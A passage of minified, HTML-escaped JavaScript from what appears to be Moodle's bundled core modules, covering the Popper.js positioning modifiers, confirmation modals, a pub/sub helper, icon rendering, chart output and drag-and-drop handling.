modifier.name===requestedName&amp;&amp;modifier.enabled&amp;&amp;modifier.order&lt;requesting.order}));if(!isRequired){var _requesting=&quot;`&quot;+requestingName+&quot;`&quot;,requested=&quot;`&quot;+requestedName+&quot;`&quot;;console.warn(requested+&quot; modifier is required by &quot;+_requesting+&quot; modifier in order to work, be sure to include it before &quot;+_requesting+&quot;!&quot;)}return isRequired}var placements=[&quot;auto-start&quot;,&quot;auto&quot;,&quot;auto-end&quot;,&quot;top-start&quot;,&quot;top&quot;,&quot;top-end&quot;,&quot;right-start&quot;,&quot;right&quot;,&quot;right-end&quot;,&quot;bottom-end&quot;,&quot;bottom&quot;,&quot;bottom-start&quot;,&quot;left-end&quot;,&quot;left&quot;,&quot;left-start&quot;],validPlacements=placements.slice(3);function clockwise(placement){var counter=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1],index=validPlacements.indexOf(placement),arr=validPlacements.slice(index+1).concat(validPlacements.slice(0,index));return counter?arr.reverse():arr}var BEHAVIORS_FLIP=&quot;flip&quot;,BEHAVIORS_CLOCKWISE=&quot;clockwise&quot;,BEHAVIORS_COUNTERCLOCKWISE=&quot;counterclockwise&quot;;function parseOffset(offset,popperOffsets,referenceOffsets,basePlacement){var offsets=[0,0],useHeight=-1!==[&quot;right&quot;,&quot;left&quot;].indexOf(basePlacement),fragments=offset.split(/(\+|\-)/).map((function(frag){return frag.trim()})),divider=fragments.indexOf(find(fragments,(function(frag){return-1!==frag.search(/,|\s/)})));fragments[divider]&amp;&amp;-1===fragments[divider].indexOf(&quot;,&quot;)&amp;&amp;console.warn(&quot;Offsets separated by white space(s) are deprecated, use a comma (,) instead.&quot;);var splitRegex=/\s*,\s*|\s+/,ops=-1!==divider?[fragments.slice(0,divider).concat([fragments[divider].split(splitRegex)[0]]),[fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider+1))]:[fragments];return ops=ops.map((function(op,index){var measurement=(1===index?!useHeight:useHeight)?&quot;height&quot;:&quot;width&quot;,mergeWithPrevious=!1;return op.reduce((function(a,b){return&quot;&quot;===a[a.length-1]&amp;&amp;-1!==[&quot;+&quot;,&quot;-&quot;].indexOf(b)?(a[a.length-1]=b,mergeWithPrevious=!0,a):mergeWithPrevious?(a[a.length-1]+=b,mergeWithPrevious=!1,a):a.concat(b)}),[]).map((function(str){return function(str,measurement,popperOffsets,referenceOffsets){var split=str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),value=+split[1],unit=split[2];if(!value)return str;if(0===unit.indexOf(&quot;%&quot;)){return getClientRect(&quot;%p&quot;===unit?popperOffsets:referenceOffsets)[measurement]/100*value}if(&quot;vh&quot;===unit||&quot;vw&quot;===unit)return(&quot;vh&quot;===unit?Math.max(document.documentElement.clientHeight,window.innerHeight||0):Math.max(document.documentElement.clientWidth,window.innerWidth||0))/100*value;return value}(str,measurement,popperOffsets,referenceOffsets)}))})),ops.forEach((function(op,index){op.forEach((function(frag,index2){isNumeric(frag)&amp;&amp;(offsets[index]+=frag*(&quot;-&quot;===op[index2-1]?-1:1))}))})),offsets}var modifiers={shift:{order:100,enabled:!0,fn:function(data){var placement=data.placement,basePlacement=placement.split(&quot;-&quot;)[0],shiftvariation=placement.split(&quot;-&quot;)[1];if(shiftvariation){var _data$offsets=data.offsets,reference=_data$offsets.reference,popper=_data$offsets.popper,isVertical=-1!==[&quot;bottom&quot;,&quot;top&quot;].indexOf(basePlacement),side=isVertical?&quot;left&quot;:&quot;top&quot;,measurement=isVertical?&quot;width&quot;:&quot;height&quot;,shiftOffsets={start:defineProperty({},side,reference[side]),end:defineProperty({},side,reference[side]+reference[measurement]-popper[measurement])};data.offsets.popper=_extends({},popper,shiftOffsets[shiftvariation])}return data}},offset:{order:200,enabled:!0,fn:function(data,_ref){var offset=_ref.offset,placement=data.placement,_data$offsets=data.offsets,popper=_data$offsets.popper,reference=_data$offsets.reference,basePlacement=placement.split(&quot;-&quot;)[0],offsets=void 0;return offsets=isNumeric(+offset)?[+offset,0]:parseOffset(offset,popper,reference,basePlacement),&quot;left&quot;===basePlacement?(popper.top+=offsets[0],popper.left-=offsets[1]):&quot;right&quot;===basePlacement?(popper.top+=offsets[0],popper.left+=offsets[1]):&quot;top&quot;===basePlacement?(popper.left+=offsets[0],popper.top-=offsets[1]):&quot;bottom&quot;===basePlacement&amp;&amp;(popper.left+=offsets[0],popper.top+=offsets[1]),data.popper=popper,data},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(data,options){var boundariesElement=options.boundariesElement||getOffsetParent(data.instance.popper);data.instance.reference===boundariesElement&amp;&amp;(boundariesElement=getOffsetParent(boundariesElement));var boundaries=getBoundaries(data.instance.popper,data.instance.reference,options.padding,boundariesElement);options.boundaries=boundaries;var order=options.priority,popper=data.offsets.popper,check={primary:function(placement){var value=popper[placement];return popper[placement]&lt;boundaries[placement]&amp;&amp;!options.escapeWithReference&amp;&amp;(value=Math.max(popper[placement],boundaries[placement])),defineProperty({},placement,value)},secondary:function(placement){var mainSide=&quot;right&quot;===placement?&quot;left&quot;:&quot;top&quot;,value=popper[mainSide];return popper[placement]&gt;boundaries[placement]&amp;&amp;!options.escapeWithReference&amp;&amp;(value=Math.min(popper[mainSide],boundaries[placement]-(&quot;right&quot;===placement?popper.width:popper.height))),defineProperty({},mainSide,value)}};return order.forEach((function(placement){var side=-1!==[&quot;left&quot;,&quot;top&quot;].indexOf(placement)?&quot;primary&quot;:&quot;secondary&quot;;popper=_extends({},popper,check[side](placement))})),data.offsets.popper=popper,data},priority:[&quot;left&quot;,&quot;right&quot;,&quot;top&quot;,&quot;bottom&quot;],padding:5,boundariesElement:&quot;scrollParent&quot;},keepTogether:{order:400,enabled:!0,fn:function(data){var _data$offsets=data.offsets,popper=_data$offsets.popper,reference=_data$offsets.reference,placement=data.placement.split(&quot;-&quot;)[0],floor=Math.floor,isVertical=-1!==[&quot;top&quot;,&quot;bottom&quot;].indexOf(placement),side=isVertical?&quot;right&quot;:&quot;bottom&quot;,opSide=isVertical?&quot;left&quot;:&quot;top&quot;,measurement=isVertical?&quot;width&quot;:&quot;height&quot;;return popper[side]&lt;floor(reference[opSide])&amp;&amp;(data.offsets.popper[opSide]=floor(reference[opSide])-popper[measurement]),popper[opSide]&gt;floor(reference[side])&amp;&amp;(data.offsets.popper[opSide]=floor(reference[side])),data}},arrow:{order:500,enabled:!0,fn:function(data,options){if(!isModifierRequired(data.instance.modifiers,&quot;arrow&quot;,&quot;keepTogether&quot;))return data;var arrowElement=options.element;if(&quot;string&quot;==typeof arrowElement){if(!(arrowElement=data.instance.popper.querySelector(arrowElement)))return data}else if(!data.instance.popper.contains(arrowElement))return console.warn(&quot;WARNING: `arrow.element` must be child of its popper element!&quot;),data;var placement=data.placement.split(&quot;-&quot;)[0],_data$offsets=data.offsets,popper=_data$offsets.popper,reference=_data$offsets.reference,isVertical=-1!==[&quot;left&quot;,&quot;right&quot;].indexOf(placement),len=isVertical?&quot;height&quot;:&quot;width&quot;,sideCapitalized=isVertical?&quot;Top&quot;:&quot;Left&quot;,side=sideCapitalized.toLowerCase(),altSide=isVertical?&quot;left&quot;:&quot;top&quot;,opSide=isVertical?&quot;bottom&quot;:&quot;right&quot;,arrowElementSize=getOuterSizes(arrowElement)[len];reference[opSide]-arrowElementSize&lt;popper[side]&amp;&amp;(data.offsets.popper[side]-=popper[side]-(reference[opSide]-arrowElementSize)),reference[side]+arrowElementSize&gt;popper[opSide]&amp;&amp;(data.offsets.popper[side]+=reference[side]+arrowElementSize-popper[opSide]);var center=reference[side]+reference[len]/2-arrowElementSize/2,popperMarginSide=getStyleComputedProperty(data.instance.popper,&quot;margin&quot;+sideCapitalized).replace(&quot;px&quot;,&quot;&quot;),sideValue=center-getClientRect(data.offsets.popper)[side]-popperMarginSide;return sideValue=Math.max(Math.min(popper[len]-arrowElementSize,sideValue),0),data.arrowElement=arrowElement,data.offsets.arrow={},data.offsets.arrow[side]=Math.round(sideValue),data.offsets.arrow[altSide]=&quot;&quot;,data},element:&quot;[x-arrow]&quot;},flip:{order:600,enabled:!0,fn:function(data,options){if(isModifierEnabled(data.instance.modifiers,&quot;inner&quot;))return data;if(data.flipped&amp;&amp;data.placement===data.originalPlacement)return data;var boundaries=getBoundaries(data.instance.popper,data.instance.reference,options.padding,options.boundariesElement),placement=data.placement.split(&quot;-&quot;)[0],placementOpposite=getOppositePlacement(placement),variation=data.placement.split(&quot;-&quot;)[1]||&quot;&quot;,flipOrder=[];switch(options.behavior){case BEHAVIORS_FLIP:flipOrder=[placement,placementOpposite];break;case BEHAVIORS_CLOCKWISE:flipOrder=clockwise(placement);break;case BEHAVIORS_COUNTERCLOCKWISE:flipOrder=clockwise(placement,!0);break;default:flipOrder=options.behavior}return flipOrder.forEach((function(step,index){if(placement!==step||flipOrder.length===index+1)return data;placement=data.placement.split(&quot;-&quot;)[0],placementOpposite=getOppositePlacement(placement);var popperOffsets=data.offsets.popper,refOffsets=data.offsets.reference,floor=Math.floor,overlapsRef=&quot;left&quot;===placement&amp;&amp;floor(popperOffsets.right)&gt;floor(refOffsets.left)||&quot;right&quot;===placement&amp;&amp;floor(popperOffsets.left)&lt;floor(refOffsets.right)||&quot;top&quot;===placement&amp;&amp;floor(popperOffsets.bottom)&gt;floor(refOffsets.top)||&quot;bottom&quot;===placement&amp;&amp;floor(popperOffsets.top)&lt;floor(refOffsets.bottom),overflowsLeft=floor(popperOffsets.left)&lt;floor(boundaries.left),overflowsRight=floor(popperOffsets.right)&gt;floor(boundaries.right),overflowsTop=floor(popperOffsets.top)&lt;floor(boundaries.top),overflowsBottom=floor(popperOffsets.bottom)&gt;floor(boundaries.bottom),overflowsBoundaries=&quot;left&quot;===placement&amp;&amp;overflowsLeft||&quot;right&quot;===placement&amp;&amp;overflowsRight||&quot;top&quot;===placement&amp;&amp;overflowsTop||&quot;bottom&quot;===placement&amp;&amp;overflowsBottom,isVertical=-1!==[&quot;top&quot;,&quot;bottom&quot;].indexOf(placement),flippedVariation=!!options.flipVariations&amp;&amp;(isVertical&amp;&amp;&quot;start&quot;===variation&amp;&amp;overflowsLeft||isVertical&amp;&amp;&quot;end&quot;===variation&amp;&amp;overflowsRight||!isVertical&amp;&amp;&quot;start&quot;===variation&amp;&amp;overflowsTop||!isVertical&amp;&amp;&quot;end&quot;===variation&amp;&amp;overflowsBottom);(overlapsRef||overflowsBoundaries||flippedVariation)&amp;&amp;(data.flipped=!0,(overlapsRef||overflowsBoundaries)&amp;&amp;(placement=flipOrder[index+1]),flippedVariation&amp;&amp;(variation=function(variation){return&quot;end&quot;===variation?&quot;start&quot;:&quot;start&quot;===variation?&quot;end&quot;:variation}(variation)),data.placement=placement+(variation?&quot;-&quot;+variation:&quot;&quot;),data.offsets.popper=_extends({},data.offsets.popper,getPopperOffsets(data.instance.popper,data.offsets.reference,data.placement)),data=runModifiers(data.instance.modifiers,data,&quot;flip&quot;))})),data},behavior:&quot;flip&quot;,padding:5,boundariesElement:&quot;viewport&quot;},inner:{order:700,enabled:!1,fn:function(data){var placement=data.placement,basePlacement=placement.split(&quot;-&quot;)[0],_data$offsets=data.offsets,popper=_data$offsets.popper,reference=_data$offsets.reference,isHoriz=-1!==[&quot;left&quot;,&quot;right&quot;].indexOf(basePlacement),subtractLength=-1===[&quot;top&quot;,&quot;left&quot;].indexOf(basePlacement);return popper[isHoriz?&quot;left&quot;:&quot;top&quot;]=reference[basePlacement]-(subtractLength?popper[isHoriz?&quot;width&quot;:&quot;height&quot;]:0),data.placement=getOppositePlacement(placement),data.offsets.popper=getClientRect(popper),data}},hide:{order:800,enabled:!0,fn:function(data){if(!isModifierRequired(data.instance.modifiers,&quot;hide&quot;,&quot;preventOverflow&quot;))return data;var refRect=data.offsets.reference,bound=find(data.instance.modifiers,(function(modifier){return&quot;preventOverflow&quot;===modifier.name})).boundaries;if(refRect.bottom&lt;bound.top||refRect.left&gt;bound.right||refRect.top&gt;bound.bottom||refRect.right&lt;bound.left){if(!0===data.hide)return data;data.hide=!0,data.attributes[&quot;x-out-of-boundaries&quot;]=&quot;&quot;}else{if(!1===data.hide)return data;data.hide=!1,data.attributes[&quot;x-out-of-boundaries&quot;]=!1}return data}},computeStyle:{order:850,enabled:!0,fn:function(data,options){var x=options.x,y=options.y,popper=data.offsets.popper,legacyGpuAccelerationOption=find(data.instance.modifiers,(function(modifier){return&quot;applyStyle&quot;===modifier.name})).gpuAcceleration;void 0!==legacyGpuAccelerationOption&amp;&amp;console.warn(&quot;WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!&quot;);var gpuAcceleration=void 0!==legacyGpuAccelerationOption?legacyGpuAccelerationOption:options.gpuAcceleration,offsetParentRect=getBoundingClientRect(getOffsetParent(data.instance.popper)),styles={position:popper.position},offsets={left:Math.floor(popper.left),top:Math.floor(popper.top),bottom:Math.floor(popper.bottom),right:Math.floor(popper.right)},sideA=&quot;bottom&quot;===x?&quot;top&quot;:&quot;bottom&quot;,sideB=&quot;right&quot;===y?&quot;left&quot;:&quot;right&quot;,prefixedProperty=getSupportedPropertyName(&quot;transform&quot;),left=void 0,top=void 0;if(top=&quot;bottom&quot;===sideA?-offsetParentRect.height+offsets.bottom:offsets.top,left=&quot;right&quot;===sideB?-offsetParentRect.width+offsets.right:offsets.left,gpuAcceleration&amp;&amp;prefixedProperty)styles[prefixedProperty]=&quot;translate3d(&quot;+left+&quot;px, &quot;+top+&quot;px, 0)&quot;,styles[sideA]=0,styles[sideB]=0,styles.willChange=&quot;transform&quot;;else{var invertTop=&quot;bottom&quot;===sideA?-1:1,invertLeft=&quot;right&quot;===sideB?-1:1;styles[sideA]=top*invertTop,styles[sideB]=left*invertLeft,styles.willChange=sideA+&quot;, &quot;+sideB}var attributes={&quot;x-placement&quot;:data.placement};return data.attributes=_extends({},attributes,data.attributes),data.styles=_extends({},styles,data.styles),data.arrowStyles=_extends({},data.offsets.arrow,data.arrowStyles),data},gpuAcceleration:!0,x:&quot;bottom&quot;,y:&quot;right&quot;},applyStyle:{order:900,enabled:!0,fn:function(data){var element,attributes;return setStyles(data.instance.popper,data.styles),element=data.instance.popper,attributes=data.attributes,Object.keys(attributes).forEach((function(prop){!1!==attributes[prop]?element.setAttribute(prop,attributes[prop]):element.removeAttribute(prop)})),data.arrowElement&amp;&amp;Object.keys(data.arrowStyles).length&amp;&amp;setStyles(data.arrowElement,data.arrowStyles),data},onLoad:function(reference,popper,options,modifierOptions,state){var referenceOffsets=getReferenceOffsets(0,popper,reference),placement=computeAutoPlacement(options.placement,referenceOffsets,popper,reference,options.modifiers.flip.boundariesElement,options.modifiers.flip.padding);return popper.setAttribute(&quot;x-placement&quot;,placement),setStyles(popper,{position:&quot;absolute&quot;}),options},gpuAcceleration:void 0}},Defaults={placement:&quot;bottom&quot;,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:modifiers},Popper=function(){function Popper(reference,popper){var _this=this,options=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:{};classCallCheck(this,Popper),this.scheduleUpdate=function(){return requestAnimationFrame(_this.update)},this.update=debounce(this.update.bind(this)),this.options=_extends({},Popper.Defaults,options),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=reference&amp;&amp;reference.jquery?reference[0]:reference,this.popper=popper&amp;&amp;popper.jquery?popper[0]:popper,this.options.modifiers={},Object.keys(_extends({},Popper.Defaults.modifiers,options.modifiers)).forEach((function(name){_this.options.modifiers[name]=_extends({},Popper.Defaults.modifiers[name]||{},options.modifiers?options.modifiers[name]:{})})),this.modifiers=Object.keys(this.options.modifiers).map((function(name){return _extends({name:name},_this.options.modifiers[name])})).sort((function(a,b){return a.order-b.order})),this.modifiers.forEach((function(modifierOptions){modifierOptions.enabled&amp;&amp;isFunction(modifierOptions.onLoad)&amp;&amp;modifierOptions.onLoad(_this.reference,_this.popper,_this.options,modifierOptions,_this.state)})),this.update();var eventsEnabled=this.options.eventsEnabled;eventsEnabled&amp;&amp;this.enableEventListeners(),this.state.eventsEnabled=eventsEnabled}return createClass(Popper,[{key:&quot;update&quot;,value:function(){return update.call(this)}},{key:&quot;destroy&quot;,value:function(){return destroy.call(this)}},{key:&quot;enableEventListeners&quot;,value:function(){return enableEventListeners.call(this)}},{key:&quot;disableEventListeners&quot;,value:function(){return disableEventListeners.call(this)}}]),Popper}();return Popper.Utils=(&quot;undefined&quot;!=typeof window?window:global).PopperUtils,Popper.placements=placements,Popper.Defaults=Defaults,Popper}));
define(&quot;core/utility&quot;,[&quot;core/str&quot;,&quot;core/pending&quot;,&quot;core/toast&quot;,&quot;core/notification&quot;],(function(Str,_pending,_toast,_notification){var obj;Str=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Str),_pending=(obj=_pending)&amp;&amp;obj.__esModule?obj:{default:obj};var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}let registered=!1;const getModalString=(dataset,type,field)=&gt;dataset[&quot;&quot;.concat(type).concat(field,&quot;Str&quot;)]?Str.get_string.apply(null,JSON.parse(dataset[&quot;&quot;.concat(type).concat(field,&quot;Str&quot;)])):Promise.resolve(dataset[&quot;&quot;.concat(type).concat(field)]),displayConfirmation=(source,type)=&gt;(0,_notification.saveCancelPromise)(getModalString(source.dataset,type,&quot;Title&quot;),getModalString(source.dataset,type,&quot;Content&quot;),getModalString(source.dataset,type,&quot;YesButton&quot;)).then((()=&gt;{if(&quot;true&quot;===source.dataset[&quot;&quot;.concat(type,&quot;Toast&quot;)]){const stringForToast=getModalString(source.dataset,type,&quot;ToastConfirmation&quot;);&quot;string&quot;==typeof stringForToast?(0,_toast.add)(stringForToast):stringForToast.then((str=&gt;(0,_toast.add)(str))).catch((e=&gt;(0,_notification.exception)(e)))}window.location.href=source.dataset[&quot;&quot;.concat(type,&quot;Destination&quot;)]})).catch((()=&gt;{}));registered||((()=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const confirmRequest=e.target.closest(&#039;[data-confirmation=&quot;modal&quot;]&#039;);confirmRequest&amp;&amp;(e.preventDefault(),displayConfirmation(confirmRequest,&quot;confirmation&quot;));const modalConfirmation=e.target.closest(&#039;[data-modal=&quot;confirmation&quot;]&#039;);modalConfirmation&amp;&amp;(e.preventDefault(),displayConfirmation(modalConfirmation,&quot;modal&quot;));const alertRequest=e.target.closest(&#039;[data-modal=&quot;alert&quot;]&#039;);alertRequest&amp;&amp;(e.preventDefault(),(async(title,content)=&gt;{const pendingPromise=new _pending.default(&quot;core/confirm:alert&quot;),ModalFactory=await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/modal_factory&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/modal_factory&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/modal_factory&quot;]));ModalFactory.create({type:ModalFactory.types.ALERT,title:title,body:content,removeOnClose:!0}).then((function(modal){return modal.show(),pendingPromise.resolve(),modal}))})(getModalString(alertRequest.dataset,&quot;modal&quot;,&quot;Title&quot;),getModalString(alertRequest.dataset,&quot;modal&quot;,&quot;Content&quot;)))}))})(),registered=!0)}));
define(&quot;core/pubsub&quot;,[&quot;exports&quot;,&quot;core/pending&quot;],(function(_exports,_pending){var obj;
/**
   * A simple Javascript PubSub implementation.
   *
   * @module     core/pubsub
   * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.unsubscribe=_exports.subscribe=_exports.publish=void 0,_pending=(obj=_pending)&amp;&amp;obj.__esModule?obj:{default:obj};const events={};_exports.subscribe=function(eventName,callback){events[eventName]=events[eventName]||[],events[eventName].push(callback)};_exports.unsubscribe=function(eventName,callback){if(events[eventName])for(var i=0;i&lt;events[eventName].length;i++)if(events[eventName][i]===callback){events[eventName].splice(i,1);break}};_exports.publish=function(eventName,data){const pendingPromise=new _pending.default(&quot;Publishing &quot;+eventName);events[eventName]&amp;&amp;events[eventName].forEach((function(callback){callback(data)})),pendingPromise.resolve()}}));
/**
 * Competency rule points module.
 *
 * @module core/icon_system_standard
 * @copyright  2017 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/icon_system_standard&quot;,[&quot;core/icon_system&quot;,&quot;core/url&quot;,&quot;core/mustache&quot;],(function(IconSystem,CoreUrl,Mustache){var IconSystemStandard=function(){IconSystem.apply(this,arguments)};return(IconSystemStandard.prototype=Object.create(IconSystem.prototype)).renderIcon=function(key,component,title,template){var templatecontext={attributes:[{name:&quot;src&quot;,value:CoreUrl.imageUrl(key,component)},{name:&quot;alt&quot;,value:title},{name:&quot;title&quot;,value:title}]};return void 0!==title&amp;&amp;&quot;&quot;!=title||templatecontext.attributes.push({name:&quot;aria-hidden&quot;,value:&quot;true&quot;}),Mustache.render(template,templatecontext).trim()},IconSystemStandard.prototype.getTemplateName=function(){return&quot;core/pix_icon&quot;},IconSystemStandard}));
/**
 * Chart output base.
 *
 * This takes a chart object and draws it.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_output_base
 */
define(&quot;core/chart_output_base&quot;,[&quot;jquery&quot;],(function($){function Base(node,chart){this._node=$(node),this._chart=chart}return Base.prototype.update=function(){throw new Error(&quot;Not supported.&quot;)},Base}));
/*
 * JavaScript to handle drag operations, including automatic scrolling.
 *
 * Note: this module is defined statically. It is a singleton. You
 * can only have one use of it active at any time. However, you
 * can only drag one thing at a time, this is not a problem in practice.
 *
 * @module     core/dragdrop
 * @copyright  2016 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(&quot;core/dragdrop&quot;,[&quot;jquery&quot;,&quot;core/autoscroll&quot;],(function($,autoScroll){var dragdrop={eventCaptureOptions:{passive:!1,capture:!0},dragProxy:null,onMove:null,onDrop:null,initialPosition:null,initialX:null,initialY:null,touching:null,prepare:function(event){if(event.preventDefault(),&quot;touchstart&quot;===event.type?null===dragdrop.touching&amp;&amp;event.changedTouches.length&gt;0:1===event.which){var details=dragdrop.getEventXY(event);return details.start=!0,details}return{start:!1}},start:function(event,dragProxy,onMove,onDrop){var xy=dragdrop.getEventXY(event);switch(dragdrop.initialX=xy.x,dragdrop.initialY=xy.y,dragdrop.initialPosition=dragProxy.offset(),dragdrop.dragProxy=dragProxy,dragdrop.onMove=onMove,dragdrop.onDrop=onDrop,event.type){case&quot;mousedown&quot;:dragdrop.addEventSpecial(&quot;mousemove&quot;,dragdrop.mouseMove),dragdrop.addEventSpecial(&quot;mouseup&quot;,dragdrop.mouseUp);break;case&quot;touchstart&quot;:dragdrop.addEventSpecial(&quot;touchend&quot;,dragdrop.touchEnd),dragdrop.addEventSpecial(&quot;touchcancel&quot;,dragdrop.touchEnd),dragdrop.addEventSpecial(&quot;touchmove&quot;,dragdrop.touchMove),dragdrop.touching=event.changedTouches[0].identifier;break;default:throw new Error(&quot;Unexpected event type: &quot;+event.type)}autoScroll.start(dragdrop.scroll)},addEventSpecial:function(event,handler){try{window.addEventListener(event,handler,dragdrop.eventCaptureOptions)}catch(ex){dragdrop.eventCaptureOptions=!0,window.addEventListener(event,handler,dragdrop.eventCaptureOptions)}},getEventXY:function(event){switch(event.type){case&quot;touchstart&quot;:return{x:event.changedTouches[0].pageX,y:event.changedTouches[0].pageY};case&quot;mousedown&quot;:return{x:event.pageX,y:event.pageY};default:throw new Error(&quot;Unexpected event type: &quot;+event.type)}},touchMove:function(e){e.preventDefault();for(var i=0;i&lt;e.changedTouches.length;i++)e.changedTouches[i].identifier===dragdrop.touching&amp;&amp;dragdrop.handleMove(e.changedTouches[i].pageX,e.changedTouches[i].pageY)},mouseMove:function(e){dragdrop.handleMove(e.pageX,e.pageY)},handleMove:function(pageX,pageY){var current=dragdrop.dragProxy.offset(),topOffset=current.top-parseInt(dragdrop.dragProxy.css(&quot;top&quot;)),leftOffset=current.left-parseInt(dragdrop.dragProxy.css(&quot;left&quot;)),maxY=$(document).height()-dragdrop.dragProxy.outerHeight()-topOffset,maxX=$(document).width()-dragdrop.dragProxy.outerWidth()-leftOffset,minY=-topOffset,minX=-leftOffset,initial=dragdrop.initialPosition,position={top:Math.max(minY,Math.min(maxY,initial.top+(pageY-dragdrop.initialY)-topOffset)),left:Math.max(minX,Math.min(maxX,initial.left+(pageX-dragdrop.initialX)-leftOffset))};dragdrop.dragProxy.css(position),dragdrop.onMove(pageX,pageY,dragdrop.dragProxy)},touchEnd:function(e){e.preventDefault();for(var i=0;i&lt;e.changedTouches.length;i++)e.changedTouches[i].identifier===dragdrop.touching&amp;&amp;dragdrop.handleEnd(e.changedTouches[i].pageX,e.changedTouches[i].pageY)},mouseUp:function(e){dragdrop.handleEnd(e.pageX,e.pageY)},handleEnd:function(pageX,pageY){null!==dragdrop.touching?(window.removeEventListener(&quot;touchend&quot;,dragdrop.touchEnd,dragdrop.eventCaptureOptions),window.removeEventListener(&quot;touchcancel&quot;,dragdrop.touchEnd,dragdrop.eventCaptureOptions),window.removeEventListener(&quot;touchmove&quot;,dragdrop.touchMove,dragdrop.eventCaptureOptions),dragdrop.touching=null):(window.removeEventListener(&quot;mousemove&quot;,dragdrop.mouseMove,dragdrop.eventCaptureOptions),window.removeEventListener(&quot;mouseup&quot;,dragdrop.mouseUp,dragdrop.eventCaptureOptions)),autoScroll.stop(),dragdrop.onDrop(pageX,pageY,dragdrop.dragProxy)},scroll:function(offset){var maxY=$(document).height()-dragdrop.dragProxy.outerHeight(),currentPosition=dragdrop.dragProxy.offset();currentPosition.top=Math.min(maxY,currentPosition.top+offset),dragdrop.dragProxy.css(currentPosition)}};return{prepare:dragdrop.prepare,start:dragdrop.start}}));
define(&quot;core/drawer&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/pubsub&quot;,&quot;core/aria&quot;,&quot;core/drawer_events&quot;],(function(_exports,_jquery,PubSub,Aria,_drawer_events){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Controls the drawer.
   *
   * @module     core/drawer
   * @copyright  2019 Jun Pataleta &lt;jun@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
